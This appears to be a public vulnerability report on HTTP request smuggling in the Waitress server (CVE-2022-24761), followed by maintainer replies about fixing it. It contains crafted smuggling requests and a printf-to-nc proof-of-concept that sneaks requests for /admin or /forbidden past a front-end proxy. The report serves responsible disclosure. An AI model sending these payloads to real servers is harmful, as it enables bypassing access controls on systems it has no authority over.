HTTP Request Smuggling in pylons/waitress
Reported on
Mar 10th 2022
Summary
Due to several violations of the HTTP standard as defined in RFC7230, Waitress is vulnerable to HTTP request smuggling when used with an upstream proxy that exhibits nonstandard behaviour.
Each issue is explained in the Occurrences section below.
Occurrences
receiver.py L142-L143
Occurrence 2 - Illegal Characters in Chunked Extensions
When parsing chunked data, chunked extensions are ignored. Ignoring chunked extensions is not a bug in itself. The bug lies in the fact that the parser does not check whether the chunked extension contents conform to the HTTP standard. According to the RFC, only 0x09
, 0x21-0x73
and 0x80-0xff
are allowed in this area.
Consider the following request.
GET / HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\nxx\r\n
4c\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
Notice that an illegal LF (\n
) character was added to the chunked extension. Suppose that a frontend proxy uses LF to delimit lines, instead of a CRLF. The frontend would see only one request:
GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
2
xx
4c
0
GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
0
However, Waitress sees two requests:
GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
2
4c
0
GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
0
This attack was possible in a previous vulnerable version of ATS.
The following command (with Waitress running on port 80) shows that Waitress allows the above PoC and processes both requests.
(printf 'GET / HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Host: localhost\r\n\r\n'\
"2;\nxx\r\n"\
'47\r\n'\
'0\r\n'\
'\r\n'\
'GET /forbidden HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Host: localhost\r\n\r\n'\
'0\r\n'\
'\r\n'; sleep 1) | nc localhost 80
Similar Issues:
- llhttp (Node.js) CVE-2021-22960 HTTP Request Smuggling when parsing the body
parser.py L319-L325
Occurrence 1 - 'Signed' Content Lengths
The content length is not validated for leading +
and -
signs.
According to RFC7230, the Content-Length
field value must be an integer greater than or equal to zero. Additionally, any sign prefixes are illegal, since only DIGIT
s (0-9) are allowed.
Content-Length = 1*DIGIT
...
Any Content-Length field value greater than or equal to zero is valid.
Suppose a frontend proxy silently ignores but forwards an invalid Content-Length
header such as Content-Length: +5
or Content-Length: -5
to Waitress. The frontend and backend would then disagree on where the request ends. Such behaviour was found on an older version of ATS (9.1.0).
For instance, in the following request, the frontend sees two requests to /
, while Waitress sees a request to /
and another one to /forbidden
.
GET / HTTP/1.1
Content-Length: +23
GET / HTTP/1.1
Dummy: GET /forbidden HTTP/1.1
Similar Issues:
receiver.py L146-L149
Occurrence 3 - 'Signed' and 0x-Prefixed Chunk Lengths
Waitress accepts chunk sizes with the 0x
prefix. This is because Python's int()
constructor allows 0x
-prefixed strings when base-16 is specified. Again, the +
and -
prefixes are also allowed.
For example, the following is a valid request.
GET / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
+0x3
abc
0
According to the RFC, chunk sizes should not contain the 0x
and sign prefixes.
chunk-size = 1*HEXDIG
This issue may be relevant if an upstream proxy also exhibits vulnerable behaviour when parsing chunk lengths, due to deviations from the standard.
SECURITY.md
a year ago
Thanks, @admin. Seems like they can be contacted via pylons-project-security@googlegroups.com.
This is Bert from the pylons team. We are reviewing and will create the appropriate fixes as necessary.
This may take a day or two. Thanks for your patience.
@admin I was not aware that you all would assign a CVE, so there may be an overlap here with the one that Github assigns. Let me know how you'd like to handle that.
@maintainer - a CVE will not be assigned here. You are welcome to proceed with confirming the fix
.
If you provide me with the CVE ID, I can assign it to this report 👍
@admin GitHub has issued CVE-2022-24761 for the report. I'm hoping to land the fix within the next day.
CVE added to the report 👍 Once you have committed and pushed your fix, feel free to confirm fix
!